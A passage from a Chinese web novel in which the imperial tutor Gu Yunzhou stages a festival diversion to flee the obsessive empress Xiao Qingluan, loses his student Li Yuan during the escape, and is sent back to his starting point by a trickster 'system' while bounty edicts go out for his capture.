“陛下,”顾云舟的语气更热切了,“如此祥瑞,若只藏于此,岂非明珠蒙尘。臣以为,当为此举办一场盛大的丰收庆典!” “庆典?” “对!一场前所未有的庆典!” “我们要邀请神京的王公大臣,邀请各州的封疆大吏,让他们都来看看!看看在陛下的治下,不毛之地是如何变成鱼米之乡的!让他们亲眼见证,何为皇恩浩荡,何为天命所归!” 他的每一个字,都说在萧青鸾的心坎上。 让她看看! 让全天下都看看! 看看她的先生,在她身边是何等的快活,何等的富有创造力! 看看他们共同创造的这个桃源盛世! 这个提议,简直太完美了! “好!”萧青鸾激动地抓住顾云舟的衣袖,脸颊泛红,“就依先生所言!朕要办!要办一场大炎立国以来,最盛大的丰收庆典!” 顾云舟内心深处,一个冰冷的声音轻轻吐出两个字。 上钩了。 他趁热打铁,继续“建议”道:“庆典既为彰显皇恩,当与万民同乐。除了主会场的观礼台,还应在外围广设流水席,让云梦泽所有参与建设的百姓,都能分食仙粮,共沐君恩。” “准了!”萧青鸾毫不犹豫地答应。 “庆典的高潮,当有天火助兴。”顾云舟的目光望向天空,“臣斗胆,想为陛下献上一场烟花秀,主题便是‘漫天星火,皆为君恩’。让那璀璨的光芒,照亮整个云梦泽的夜空,也照亮陛下的不世之功。” “漫天星火,皆为君恩……”萧青鸾只觉得每一个字都甜到了心里。 先生的心思,总是这般玲珑剔透。 他总是知道,自己最想要的是什么。 “好!太好了!”她几乎是雀跃着说道,“此事,朕就全权交由先生操办!需要什么,内库、工部、兵部,任你调遣!” “臣,遵旨。” 他身后的赤羽,一直沉默地看着。 当顾云舟提出庆典建议时,她的眼皮微不可察地跳了一下。 但她什么也没说。 命令很快传达到了李源手中。 这位新任的云梦泽县令,在接到女帝亲笔御令的那一刻,手微微一颤,但脸上却瞬间爆发出狂喜与激动。 他对着传旨的太监,赌咒发誓,一定将这场庆典办得风风光光,绝不辜负陛下的厚爱与老师的期望。 转身之后,他脸上的狂喜迅速褪去,化为凝重。 他知道,老师开始落子了。 而他,是这盘棋上,冲在最前面的那颗卒子。 庆典的筹备工作,正在大张旗鼓地展开。 整个云梦泽,变成了一个巨大的工地。 无数的木材被运来,搭建观礼的高台。 无数的红绸与灯笼被挂起,将整个临时行宫妆点得喜气洋洋。 李源以庆典总管的身份,忙得脚不沾地。 他签署的每一道调令,都显得那么合情合理。 “庆典烟花所需火油乃是特制,需从南疆紧急调运一批,走水路最快,命漕运司派三艘快船,沿清河昼夜不停,送到青河渡口待命!” “外围流水席预计将有上万民众参与,本地食材不足,速去邻县采买最好的牛羊肉干与烈酒,用最大的车队运送,藏于城西的废弃粮仓,以备不时之需!” “庆典需要大量护卫维持秩序,但凤卫乃陛下亲军,不可轻动。请示陛下,允我从斥候营中抽调百名精锐,换上便装,提前在云梦泽外围各处要道设下暗哨,以防宵小作乱!” 一道道命令,雪片般飞出。 一批批物资,被巧妙地运送到了一个个不起眼的地点。 一队队人手,被合理地安排到了计划中的逃生路线上。 所有的一切,都在庆典这张巨大的华丽幕布下,悄无声息地进行着。 萧青鸾每天看着送上来的进度报告,心满意足。 她甚至觉得,顾云舟是真的认命了,并且乐在其中。 他将所有的才华,都用在了为她打造一场盛世幻梦上。 这让她无比安心。 庆典前夜。 云梦泽灯火通明,亮如白昼。 无数的篝火在旷野上燃起,百姓们的欢笑声与歌声,隔着很远都能听见。 顾云舟独自一人,站在行宫的望楼上。 夜风吹起他的白衣长发,猎猎作响。 他俯瞰着下方那片喧嚣热闹的海洋,看着那些张灯结彩的街道和忙碌的身影,神情平静。 他知道,这张为他自己编织的逃生之网,已经收到了最后一个节点。 所有的棋子,都已就位。 只等明日,一声令下。 这将是他为这个世界,为那个坐在皇位上的少女,献上的最后一场,也是最盛大的一场演出。 演出的落幕,便是他自由的开始。 赤羽的身影,不知何时出现在他身后不远处。 她没有说话,只是静静地站着,目光复杂地看着那个背影。 顾云舟没有回头,他只是轻轻开口,声音被风吹得有些飘忽。 “赤羽队长,你说明天的烟花,会好看吗?” 赤羽沉默了片刻,才冷冷地回道:“陛下会喜欢的。” “是啊。” 顾云舟轻笑一声,转过头,那笑容里,带着一丝说不清道不明的意味。 “她一定会喜欢的。” 第九十四章 囚鸟出笼 篝火熊熊,肉香四溢,百姓的笑脸在火光中朴实而真诚。高台之上,丝竹悦耳,舞女的罗袖翻飞,一派歌舞升平的盛世景象。 萧青鸾就坐在顾云舟的身边,近得能闻到他身上清冽的皂角香。 她的小脸因为兴奋和几杯果酒而泛着健康的红晕,一双凤眸亮得惊人,满满地只装着他一个人。 “先生,你看。”她悄悄凑过来,是压不住的雀跃,“他们多开心。这都是你我的功劳。” 顾云舟端着酒杯,唇角挂着笑意。 他微笑着举杯,心里却在给奥斯卡评委写信。 这演技,不拿个小金人,都对不起他这阵子掉的头发。 “是陛下的功劳。”他轻声说,声音不大,却清晰地传入了萧青鸾的耳中,“是陛下德政感天,才有这仙粮降世,才有这万民归心。臣,不过是奉陛下之命,做了些跑腿的活计罢了。” 这话说得滴水不漏,既捧高了女帝,又把自己摘得干干净净。 萧青鸾果然更开心了,眼里的光几乎要溢出来。 她喜欢听他这么说,喜欢他将一切荣耀都归于自己,仿佛这样,他们就能永远绑在一起,不分彼此。 她举起酒杯,对周围的文武百官朗声道:“今日云梦大典,首功在朕的先生,云梦侯!来,诸位爱卿,随朕共敬先生一杯!” 百官们神色各异,但还是纷纷起身举杯。 但没人敢说半个不字。 顾云舟坦然地接受了这杯酒,一饮而尽。酒液滚烫,顺着喉咙一路烧进胃里。 他知道,时间差不多了。 就在这时,夜空中传来一声尖锐的呼啸。 “咻-砰!” 第一束烟花,在所有人头顶轰然炸开,光芒照亮了每个人的脸。 “哇” 人群中爆发出雷鸣般的喝彩。 所有人的脑袋都仰了起来,痴痴地望着那片被光与火点亮的夜幕。 一朵又一朵的烟花接连升空,紫的、红的、绿的,将整个云梦泽映成了一座不夜天城。 萧青鸾看得痴了,她下意识地抓住了顾云舟的袖子,兴奋地摇晃着:“先生快看!好美!这就是你说的‘漫天星火,皆为君恩’!” “嗯,陛下喜欢就好。”顾云舟的目光掠过她侧脸,投向了远处那片最喧闹的人群。 那里,李源应该已经就位了。 果不其然。 就在最大的一朵烟花“千树齐开”绽放的瞬间,外围的流水席区域,猛地传来一声惊恐的尖叫! “起火了!走水了!” 尖叫声如水滚油锅,瞬间炸开。 几处负责烤全羊的巨大灶台,不知为何突然窜起了半人高的火焰,火舌舔舐着干燥的茅草棚顶,火势蔓延开来。 哭喊声和救火的呼喝声,瞬间混成一锅滚烫的粥。 高台上的歌舞戛然而止。 萧青鸾脸上的笑容瞬间凝固,她猛地站起身,厉声道:“怎么回事!凤卫何在!速去救火!” “陛下不必担忧。” 一只温热的手,轻轻拉住了她的手腕。 顾云舟不知何时也站了起来,走到她身旁说道。 “此等小事,李县令自会处理妥当。陛下安心赏烟花便是,莫要因些许意外,扰了兴致。” 他的话像有魔力,萧青鸾焦躁的心竟真的平复了几分。 是啊,有先生在。 天塌下来,先生都会为她顶着。 她重新坐下,但目光却忍不住频频投向火光冲天的方向。 骚乱不仅没有平息,反而愈演愈烈。 几名被“烧伤”的百姓,哭爹喊娘地被抬到了主会场附近。 “救命啊!我的腿!” “快来人啊!火太大,扑不灭啊!” 李源带着一队衙役,指挥着众人提水救火,场面混乱到了极点。 萧青鸾的注意力被彻底吸引了过去,眉头紧锁,连烟花都顾不上看了。 就是现在! 一名端着酒壶的侍女,像是被混乱的人群推搡了一下,脚下一个踉跄,惊呼一声,整壶酒不偏不倚,全都泼在了顾云舟的白色长袍上。 “侯爷恕罪!奴婢不是故意的!”侍女吓得花容失色,当场跪倒。 一股浓郁的酒气瞬间散开。 “无妨。”顾云舟淡淡地说了一句,随即转向萧青鸾,歉然一笑道,“陛下,臣衣衫湿了,先行告退,去换件衣服。” 合情合理,挑不出半点毛病。 萧青鸾心烦意乱,只想着外面的大火,不耐烦地挥了挥手:“去吧去吧,快去快回。” “是。” 顾云舟转身,从容地走下高台。 赤羽立刻对身边的两名凤卫使了个眼色,那两人悄无声息地跟了上去,一左一右,将顾云舟夹在中间,名为“护送”,实为押解。 赤羽自己则留在原地,目光盯着那片火场,似乎在想些什么。 顾云舟对身后的尾巴视若无睹,朝着临时行宫的寝殿走去。 夜风带着远处的热浪和喧嚣,吹拂着他的衣角。 穿过一条长长的回廊,前方就是寝殿的拐角。 那两名凤卫警惕地环顾四周,不敢有丝毫松懈。 就在顾云舟的脚踏入拐角阴影的瞬间。 “噗”的一声轻响。 一枚被李源提前安放在梁柱凹槽里的特制烟丸,被一根细不可见的丝线牵动,应声而落。 一股刺鼻的浓烟,猛地炸开! 那烟雾比最浓的雾还要呛人,瞬间笼罩了整个走廊,伸手不见五指。 “不好!有刺……” 一名凤卫的话还没喊完,就被浓烟呛得剧烈咳嗽起来。 他们本能地屏住呼吸,第一时间冲向顾云舟所在的位置。 然而,就在这片刻的混乱中,顾云舟的身影,已经贴着墙壁,如同鬼魅一般没入了烟雾的另一侧。 他没有丝毫停顿,从怀中摸出一张淡黄色的符纸,这是系统出品、价值不菲的“低级隐身符”,有效时间,三十息。 他一把将符纸拍在自己身上。 一股微弱的凉意扫过全身,他的身形在空气中迅速变得透明,直至彻底消失。 当两名凤卫挥散浓烟,冲出烟雾范围时,眼前的一幕让他们亡魂皆冒。 走廊里,空空如也。 除了地上那个还在冒着残烟的瓦丸,哪里还有半个顾云舟的影子! “人呢?!” “侯爷不见了!” 死一般的寂静,只持续了一瞬。 下一秒,一声凄厉尖锐的警报声,划破了庆典的夜空,盖过了漫天的烟火与喧嚣。 “敌袭!侯爷失踪!封锁所有出口!!” 高台之上,正焦急望着火场的萧青鸾,在听到这声警报的刹那,猛地回过头。 漫天璀璨的烟火,在她漆黑的瞳孔中,炸开,熄灭,再炸开。 那张曾经洋溢着幸福的绝美脸庞,一寸寸,凝固。 第九十五章 夜奔 三十息。 时间从未如此清晰。 第一息,他冲出烟雾,身影在空气中淡去。身后是凤卫被浓烟呛住的剧烈咳嗽声和暴喝。 第十息,他跑过回廊,脚下无声,心跳如鼓。远处庆典的喧嚣和烟火的爆鸣是他最好的掩护。 第二十息,他翻过临时行宫低矮的院墙,落地时一个踉跄,膝盖传来剧痛。他没空理会,咬牙继续狂奔。 目标只有一个,云梦泽深处那片连本地人都不愿踏足的原始沼泽。 那是死地,也是他唯一的生路。 第三十息。 身上那股微弱的凉意骤然消失,他重新暴露在月光之下。 而他眼前,就是那片散发着腐臭气息的黑暗水域。 没有半分犹豫,顾云舟一脚踏了进去。 泥浆瞬间淹没他的小腿,一股恶心的腥臭味直冲天灵盖。他强忍着呕吐的欲望,深一脚浅一脚地向着黑暗深处跋涉。 身后,敌袭的呼喊声终于撕裂了庆典的伪装,响彻整个云梦泽。 猎杀,开始了。 赤羽的速度快得不像人。 警报响起的瞬间,她人已如一道离弦的箭矢,从高台上射出。她甚至没有去看萧青鸾那张瞬间凝固的脸。 她知道那张脸会变成什么样。 “封锁外围!玄鸟卫,跟我来!”她的声音清冷,不带一丝情绪。 数十道黑影从各个角落里冒出,紧随其后。 她们在顾云舟消失的院墙下停住。一名玄鸟卫半跪在地,用手指捻起一点泥土,凑到鼻尖闻了闻。 “酒味,烟丸的硫磺味,还有……”她顿了顿,抬起头,“侯爷身上的凤栖香,往东边去了。” 赤羽的目光扫向东方,那里正是沼泽的方向。 “他想进沼泽,找死。”一名玄鸟卫冷哼。 “不,他是想求生。”赤羽淡淡道,“他知道我们擅长追踪,只有沼泽的烂泥和积水才能最大限度掩盖他的气味和踪迹。” 她没有再多说一个字,身影一晃,已经冲了出去。 “一队二队,从左右两翼包抄。三队,跟我正面追击。记住陛下的命令,要活的,但废了也无妨。” “是!” 黑色的潮水,涌向了那片黑暗的沼泽。 顾云舟的肺像个破风箱,每一次呼吸都带着呼吸声。 他错了。 他严重低估了古代顶级特工的业务能力。 他以为靠着现代野外求生的知识,能在沼泽里找到一线生机。可身后那群女鬼,她们的轻功简直不讲道理。 她们能在漂浮的烂木头上借力,能在没过膝盖的泥潭里健步如飞。 而他,只是一个四体不勤的现代社畜。 每一步都像被无数只手拖拽着,耗尽他全身的力气。 咻! 一支淬了绿光的袖箭,贴着他的耳廓飞过,钉在他前方的一根芦苇上。 顾云舟一个激灵,求生的本能压倒了疲惫。他猛地向左侧扑倒,半个身子都陷进了冰冷的泥水里。 “他在那!” “放箭!” 数道破空声响起。 顾云舟连滚带爬,躲到一丛茂密的芦苇荡后,后背已经被冷汗湿透。 他听见凤卫们在泥水中跋涉的声音,越来越近。 完了。 他脑子里只剩下这两个字。 计划的第一步就失败了。他高估了自己,也低估了萧青鸾那份病态的爱所催生出的力量。 这些凤卫,开了吧,这么快。 脚步声停在了芦苇荡外。 他能感觉到数道冰冷的目光已经锁定了自己。 顾云舟靠着一根湿滑的树根,喘着粗气,心里涌起一股荒谬的绝望。 没想到,他顾云舟算计天下,最后竟然是以这么一种狼狈的方式,死在一群女人的手里。 “出来吧,侯爷。”一个声音在外面响起,“别让我们动手。” 顾云舟闭上眼。 然而,就在他准备放弃的瞬间。 “杀!” 一声暴喝,如同平地惊雷,从他侧后方炸响! 顾云舟猛地睁开眼。 只见十余条黑影,手持朴刀,从另一片更深的芦苇荡里悍然杀出! 他们衣衫褴褛,武器简陋,脸上却带着一种决绝的疯狂。 为首那人,正是云梦泽县令,李源! 他身上那件崭新的官袍早已被泥水浸透,头发散乱,手里提着一把从衙役那抢来的佩刀。 “拦住她们!”李源嘶吼着,第一个冲向了那几名凤卫。 凤卫们显然也愣住了。 她们没想到,这里竟然还有埋伏。 “找死!” 一名凤卫眼中寒光一闪,手腕一抖,三支袖箭成品字形射向李源。 李源不闪不避,只是用尽全身力气,将手中的佩刀奋力掷出! 噗!噗! 两支袖箭没入他的胸膛和大腿,他整个人如遭重击,向后踉跄。 但那把被他掷出的佩刀,也成功逼得那名凤卫不得不侧身闪避,阵型出现了一丝微不可察的混乱。 “先生快走!” 李源喷出一口鲜血,用尽最后的力气,朝着顾云舟的方向发出撕心裂肺的咆哮。 “我等来生,再报先生大恩!” 另外十几个死士,也在此刻与凤卫们狠狠撞在了一起。 没有精妙的招式,只有最原始的砍杀。 一名死士被长剑贯穿了腹部,却在临死前死死抱住了一名凤卫的腰,用牙齿狠狠咬住了对方的肩膀。 凤卫吃痛,一掌拍碎了他的天灵盖,但自己也因此慢了一步。 这是一场用生命和血肉堆砌的阻碍。 他们每个人都清楚,自己是在螳臂当车。 但他们还是来了。 顾云舟的眼睛瞬间红了。 他看着李源,那个曾经在自己面前恭恭敬敬,有些木讷,却把他的每一句话都奉为圭臬的年轻人。 此刻,用自己的身体,为老师的逃亡之路,铺上最后一块石板。 “走啊!先生!” 李源又是一声大吼,他被一名凤卫一脚踹倒在地,却死死地抱住了对方的腿,任由对方的另一只脚疯狂地踩踏他的后背。 他就是不松手。 他想冲过去。 可理智战胜了大脑。 他不能。 李源他们用命换来的时间,不是让他去送死的。 他猛地转身,不再回头,向着沼泽更深处冲去。 身后,李源的吼声渐渐微弱,最后被一声利刃入肉的闷响彻底终结。 顾云舟没有回头。 他跳上一艘早已藏在芦苇荡尽头的乌篷船,船夫是一个沉默的黑衣汉子,是苏长青安排的“人”之一。 汉子一言不发,用竹篙奋力一点,小船如幽灵般滑入茫茫的夜色之中。 不知过了多久,赤羽才姗姗来迟。 她看着满地的尸体,眉头微蹙。 十几具尸体,有凤卫的,但更多是那些不知从哪冒出来的死士。 李源的尸体就在最前方,他身上插着三把剑,眼睛却依旧死死地瞪着顾云舟逃走的方向。 一名凤卫上前汇报:“队长,让他跑了。李源这伙人……拖了我们足足半刻钟。” 赤羽蹲下身,伸出手,轻轻合上了李源圆睁的双眼。 “往哪个方向跑了?”她问,声音听不出喜怒。 “应该是南边,那边水路通往大江。” 赤羽站起身,目光却望向了完全相反的北方。 “不。”她缓缓开口,“他最擅长声东击西,他一定是往北,想从陆路绕回神京附近。” “传我命令,所有人,向北追。” “是!” 幸存的凤卫和玄鸟卫没有丝毫怀疑,立刻整队,朝着北方追去。 转眼间,这片血腥的屠场只剩下赤羽一人。 她静静地站着,看着那艘乌篷船消失的南方水域,月光洒在她的脸上,照出一抹无人能懂的复杂。 她从怀中取出一枚黑色的玉佩,低声道:“陛下,目标狡猾,已往北境方向逃窜,臣正率队全力追捕。” 说完,她收起玉佩,转身,身影也消失在夜色里。 那艘乌篷船上。 顾云舟蜷缩在船舱里,浑身湿透,不住地发抖,不知是冷的,还是因为别的什么。 他脑海里,反复回响着李源最后那声“先生快走”。 他成功逃了出来。 可他感觉不到一丝喜悦,只有一种深入骨髓的冰冷。 原来,自由的代价,是别人的命。 船夫从船头拿过一个酒囊和一件干净的蓑衣,丢了过来。 “喝点酒,暖暖身子。前面还有很长的路。”汉子的声音沙哑,像是很久没说过话。 顾云舟没有动。 他只是抬起头,望着被乌云遮蔽的夜空,喃喃自语。 “萧青鸾……” 第九十六章 独狼 乌篷船在黑暗中漂流。 没有星星,没有月亮,只有船桨划破水面的哗哗声,。 顾云舟蜷缩在船舱里,那件蓑衣根本挡不住无孔不入的湿气。他身上每一寸肌肉都在抗议,叫嚣着疲惫和酸痛。 但他感觉不到。 他脑子里只剩下两件事。 一件事是李源倒下前那双圆睁的眼睛,和那声泣血的“先生快走”。 另一件事,是萧青鸾这个名字。 真狠啊。 他以为自己教出的是一头雏凤,结果养大的是一条会吃人的龙。 船夫从始至终一言不发,像个没有感情的摆渡人。 一夜无话。 当天边泛起一丝鱼肚白时,小船终于轻轻一震,靠上了岸。 这是一处荒僻的渡口,芦苇长得比人还高。 船夫将竹篙插进泥里,稳住船身,沙哑地吐出两个字。 “到了。” 说完,他便跳上岸,头也不回地消失在晨雾中,仿佛从未出现过。 顾云舟挣扎着从船舱里爬出来,双腿一软,差点跪倒在泥地里。 膝盖上的伤口经过一夜的浸泡,传来一阵阵钻心的疼。 他扶着船舷,深吸了一口带着水腥气的冰冷空气,试图让自己站稳。 就在这时,一个低沉的声音从岸上传来。 “先生?” 顾云舟猛地抬头。 晨雾中,一个高大的身影静静地站着。那人约莫四十来岁,面容饱经风霜,眼神锐利如鹰。他穿着一身洗得发白的劲装,身后背着一把用粗布包裹的长刀。 他身边,是两匹神骏的黑马,正不耐烦地打着响鼻。 顾云舟认得他。 独狼。 苏长青曾经提过,这是他暗中结交的一位江湖游侠,刀法超绝,重信重义。 独狼没有多余的废话,将一个包裹扔了过来。 “干净衣服,水,干粮。” 他指了指那两匹马。 “追风马,日行八百里。苏大人有令,三日之内,必须赶到。” 顾云舟接过包裹,一瘸一拐地走到一棵大树后,用最快的速度换下湿透的衣服。干爽的布料贴在身上,总算驱散了些许寒意。 他狼吞虎咽地啃了几口干饼,又灌下几大口清水,感觉自己像是活了过来。 “多谢。”他走到独狼面前,声音嘶哑。 独狼只是摇了摇头,翻身上马,动作干脆利落。 “走。” 顾云舟也强忍着膝盖的剧痛,在独狼的帮助下跨上了另一匹马。 双腿刚一夹紧马腹,那匹追风马便如离弦之箭般窜了出去。 狂风扑面而来,吹得他几乎睁不开眼。 两人一前一后,在荒野的小道上开始了奔袭。 沿途的景象,让顾云舟的心一点点沉了下去。 每一个城镇,每一个村庄,甚至每一个关卡的墙壁上,都贴着一张刺眼的明黄色告示。 那是女帝的通缉令。 上面用朱砂御笔,清晰地画着他的画像,旁边是几行杀气腾腾的大字。 “奉天承运皇帝,诏曰:罪臣顾云舟,欺君罔上,罪无可赦。天下臣民,凡能擒获此人者,赏黄金万两,封万户侯!” “能提供线索致其落网者,赏千金,官升三级!” 最下面还有一行小字,像是后来添上去的,笔迹带着一丝疯狂的扭曲。 “献其人者,夷三族。缚送回京者,赏。断其双腿,令其无法再逃者,重赏!” 顾云舟看着那行小字,嘴角不受控制地抽搐了一下。 好家伙。 断腿还算KPI加分项是吧? 萧青鸾,你可真是我的好学生,连PUA都玩得这么有创意。 他看到无数官兵在挨家挨户地盘查,看到许多背着刀剑的江湖人士,眼神狂热地盯着每一个路过的陌生人。 整个大炎,变成了一座巨大猎场。 而他,就是那只的猎物。 “先生,坐稳,扶好。”独狼低沉的声音从前方传来。 顾云舟抬头,只见前方出现了一座雄伟的关隘。 雁回关。 最后一道屏障。 此刻,关门紧闭,城墙上站满了弓箭手,城门下,一队队士兵正在对每一个企图过关的行人进行严苛到变态的盘查。 一个身穿崭新铠甲的年轻将领,正按着刀柄,一脸煞气地来回踱步。 “我们冲不过去。”顾云舟沉声道。 “苏大人说了,先生必须过去。”独狼的声音没有丝毫波澜,仿佛在说一件吃饭喝水般的小事。 他缓缓勒住马,从背后解下那把用粗布包裹的长刀。 随着粗布层层剥落,一抹惊心动魄的寒光在晨曦中绽放。 那是一把极窄极长的刀,刀身在微光下流淌着一层淡淡的血色。 “先生,跟紧我。” 独狼说完,双腿猛地一夹马腹。 “驾!” 黑马发出一声长嘶,如一道黑色的闪电,朝着戒备森严的关隘直冲而去! “站住!什么人!”城门守将王毅立刻发现了他们,厉声喝道。 独狼充耳不闻,速度不减反增。 “放箭!”王毅毫不犹豫地下令。 咻咻咻! 密集的箭雨瞬间覆盖了他们前方的道路。 顾云舟的心提到了嗓子眼。 只见独狼手腕一抖,那柄血色长刀在他身前舞成了一片密不透风的光轮。 叮叮当当! 一连串金属碰撞的脆响,飞来的箭矢竟被他尽数磕飞! “拦住他!”王毅脸色一变,亲自拔出佩刀,带着一队亲兵迎了上来。 长枪如林,刀盾如墙。 独狼的眼神没有丝毫变化,就在即将撞上军阵的瞬间,他猛地从马背上一跃而起! 人还在半空,刀已出。 一道凄厉的血色刀光横扫而出! 噗嗤! 最前排的几个士兵甚至没看清他是如何出手的,握着长枪的手臂便齐刷刷地飞上了天。 鲜血喷涌。 惨叫声响彻云霄。 独狼落地,脚尖在一名士兵的头盔上轻轻一点,身体再次拔高,如同大鹏展翅,直接越过了刀盾阵,落在了王毅面前。 王毅瞳孔骤缩,举刀格挡。 当! 一声巨响,王毅只觉得一股无法抗拒的大力从刀身传来,虎口瞬间崩裂,佩刀脱手飞出。 他整个人被震得连退七八步,一屁股坐在地上,满脸骇然。 独狼没有看他,甚至没有片刻停留。 他一刀劈开拦路的鹿角,对着顾云舟大吼一声。 “走!” 顾云舟早已趁着混乱催马跟上,此刻听到指令,毫不犹豫地一夹马腹,从独狼刚刚杀出的缺口中狂奔而过! “拦住他!快拦住他!别管我!”王毅回过神来,声嘶力竭地咆哮着。 士兵们如梦初醒,潮水般涌向已经冲进关内的顾云舟。 独狼冷哼一声,转身,一人一刀,竟如一道无法逾越的堤坝,将数百名士兵死死地挡在了身后。 刀光每一次闪烁,都伴随着生命的凋零。 他没有多余的动作,每一刀都快到了极致。 这不是比武,是屠杀。 顾云舟在马背上颠簸,他不敢回头看那片人间地狱,只能死死地趴在马背上,任由狂风灌满他的耳朵。 他听到了身后的喊杀声,听到了兵器碰撞声,听到了惨叫。 这些声音像鞭子一样,狠狠抽打着他的神经。 他冲出了雁回关。 身后,追兵的马蹄声如雷,紧追不舍。 前方,神京城的轮廓已在遥远的地平线上若隐若现。 顾云舟的胸口剧烈起伏,他感觉肺部像是要炸开一般。 他颤抖着手,在脑海中打开了那个阔别已久的系统界面。 一行冰冷的,散发着微光的字体,正无情地跳动着。 【回归程序倒计时:00天03时12分15秒】 只剩下最后三个小时了。 他猛地一咬舌尖,剧痛让他的神志瞬间清明。 “快!” 他用尽全身力气,发出一声嘶吼,狠狠一鞭抽在马臀上! 成败,在此一举! (谢谢大家的喜欢啦,晚上还有一章 别错过哦(′-ω-`)) 第九十七章 背刺 神京城西的天阙门,从未如此热闹过。 刺耳的铜锣声响彻长街,混杂着声嘶力竭的呼喊。 “走水了!军械库走水了!” “快救火啊!” 黑色的浓烟冲天而起,将半个天空都染成了不祥的灰色。 大批城防军从营房里涌出,扛着水桶提着沙袋,乱哄哄地朝着城南的军械库方向冲去。 一辆运送泔水的破旧板车,混在惊慌失措的人流和马车中,慢悠悠地朝着城门挪动。 板车上,几个散发着馊味的巨大木桶堆在一起。 其中一个木桶里,顾云舟屏住呼吸,感觉自己快要被熏得升天了。 他奶奶的苏长青,这就是你说的万无一失的B计划? 老子堂堂帝师,云梦泽的土皇帝,现在跟一堆馊掉的菜叶子和猪食混在一起,这像话吗! 他身旁,那个叫独狼的男人一动不动,连呼吸都微弱得几乎无法察觉。 高手。 顾云舟心里默默吐槽,但也不得不佩服。 这心理素质,简直是忍者神龟级别的。 板车每一次颠簸,他膝盖上的伤口就传来一阵钻心的疼。 可这点疼,跟即将到来的自由相比,屁都不算。 他甚至能想象到,当他回到那个有空调有wifi有外卖的世界后,第一件事就是要点一份三倍辣的麻辣香锅,再来一瓶冰可乐,好好犒劳一下自己这颗被封建主义毒打了九九八十一难的心。 萧青鸾? 那个疯批丫头,就让她抱着她那张龙椅,做她千秋万代的帝王梦去吧。 老子不奉陪了。 板车终于在城门下停住。 “站住!检查!” 一名身披重甲的校尉伸手拦住了车,眼神锐利得像刀子。 赶车的老汉哆哆嗦嗦地递上一份盖着御史台大印的通关文牒。 顾云舟的心跳漏了一拍。 他透过木桶的缝隙,死死盯着那个校尉。 这是周信的人,苏长青在信里提过,是自己人。 可万一呢? 万一出了什么岔子,今天就是他的死期。 校尉接过文牒,粗略地扫了一眼,又抬头看了看城南那滚滚的浓烟,眉头紧锁。 他走到板车旁,随手拿起一杆长枪,重重地朝着几个木桶捅了过去。 砰!砰! 沉闷的撞击声,让顾云舟的眼皮直跳。 长枪的枪尖擦着他的鼻尖捅进了木桶的另一侧,带起一股更浓郁的酸臭味。 校尉嫌恶地皱了皱鼻子,似乎不想再多待一秒。 他挥了挥手,不耐烦地喝道:“滚滚滚!一车馊水,赶紧弄出城去!” 赶车老汉如蒙大赦,连滚带爬地上了车,拼命地挥动鞭子。 “驾!” 板车吱呀作响,缓缓地,一寸一寸地,驶向那道分割了两个世界的城门。 顾云舟能闻到城外新鲜泥土的气息了。 他能听到风吹过的呼啸声了。 自由。 多么奢侈的词。 他回头,透过缝隙,最后看了一眼那座雄伟的皇城。 红墙金瓦,在夕阳下像一座燃烧的囚笼。 再见了。 我亲手养大的学生。 为我亲手打造的牢笼。 还有,我亲手推上去的女帝。 愿你我,永不相见。 板车的两个轮子,已经完全滚出了城门洞。 成了! 顾云舟心中一阵狂喜,几乎要呐喊出声。 他身旁的独狼,也几不可察地松了口气。 就在这一瞬间。 就在顾云舟准备从木桶里一跃而出,呼吸第一口自由空气的瞬间。 他脑海中,那个冰冷的,机械的,他以为再也不会响起的系统提示音,毫无征兆地响了。 【回归程序倒计时结束。】 【传送程序启动!】 什么? 顾云舟的笑容僵在了脸上。 下一秒,一道温暖到令人绝望的白光,将他整个人彻底吞没。 他甚至来不及发出一声惊呼,也来不及看独狼那错愕到极致的眼神。 意识陷入了一片纯白。 二十一世纪的麻辣香锅,我来啦 我八百个G的学习资料。 …… 光芒散去。 预想中车水马龙的街道没有出现。 鼻尖萦绕的,也不是汽车尾气的芬芳。 而是一股潮湿的,带着腐烂稻草和霉味的,让他熟悉到骨子里的气息。 顾云舟缓缓睁开眼。 四面漏风的墙壁。 半边身子已经塌掉的泥塑佛像,正用一种悲悯又嘲讽的眼神看着他。 身下,是冰冷坚硬的地面,铺着一层薄薄的干草。 这里是…… 落霞谷。 那座他刚刚穿越过来时,与那个又瘦又小的公主初次相遇的破庙。 一股寒气,从他的脚底板,沿着脊椎骨,一路冲上天灵盖。 让他浑身的血液都冻结了。 他缓缓低下头,看着自己身上。 那件在逃亡路上被划得破破烂烂的锦袍不见了。 取而代之的,是一件洗得发白的粗布儒衫,袖口还带着补丁。 是他刚刚穿越过来时,这具身体的原主所穿的衣服。 一切,都回到了原点。 不。 不对。 顾云舟猛地抬起手,他想打开系统界面,他想问个明白。 然而,那个冰冷的,带着一丝戏谑电音的系统提示,再一次在他脑海中响起。 这一次,它说得无比清晰,无比缓慢,像是在宣读一份最终的判决书。 【叮!】 【恭喜宿主,主线任务:辅佐萧青鸾登基称帝,已完美完成。】 【任务奖励:返回‘剧情’开始之初。】 【最终解释权归本系统所有。】 【祝您,游戏愉快。】 “……” 顾云舟张了张嘴,喉咙里却发不出任何声音。 他像是被人迎面打了一记闷拳,整个世界都在旋转,耳边只剩下嗡嗡的鸣响。 游戏愉快? 去特么的游戏愉快! 他终于明白了。 什么狗屁的回归程序,什么三十天倒计时,全都是骗局! 从头到尾,这就是一个彻头彻尾的,把他当猴耍的! 他赢了天下,赢了权谋,赢了人心。 却在最后一步,输给了这个该死的,不讲道理的金手指! 无尽的愤怒和绝望,像潮水一样将他淹没。 他浑身颤抖,双目赤红,指甲深深地掐进了掌心,鲜血顺着指缝滴落,他却感觉不到一丝疼痛。 就在他即将被这股情绪彻底吞噬的瞬间。 破庙外,传来了一阵整齐划一的,金属碰撞地面的脚步声。 由远及近。 沉重,压抑。 一下一下,敲在他的心脏上。 很快,脚步声停了下来,将这座小小的破庙围得水泄不通。 火把的光,从四面八方的墙壁缝隙和破洞中透了进来,将他脸上那副万念俱灰的表情,照得清清楚楚。 一个洪亮的,不带任何感情的嗓音,响彻了整个山谷。 那声音在宣读一份刚刚颁布的,新鲜出炉的诏书。 “奉天承运女帝,诏曰!” “前帝师顾云舟,欺君罔上,罪不容诛!然念其曾有辅弼之功,朕不忍加戮,特许其自省。” “着告天下,凡提供其行踪线索者,赏金千两!” “能将其生擒活捉,安然无恙送回神京者,封万户侯!” 声音在这里顿了一下。 仿佛是故意要让猎物在无尽的希望和恐惧中,再多品尝一秒钟。 然后,那声音陡然拔高,带着一丝冰冷的,令人不寒而栗。 “若将其擒获,并断其双腿,使其再无逃离之能者……” “另,赏!” “钦此!” (感谢大家的礼物,谢谢,四更奉上(_ _)ヾ) 第九十八章 插翅难飞 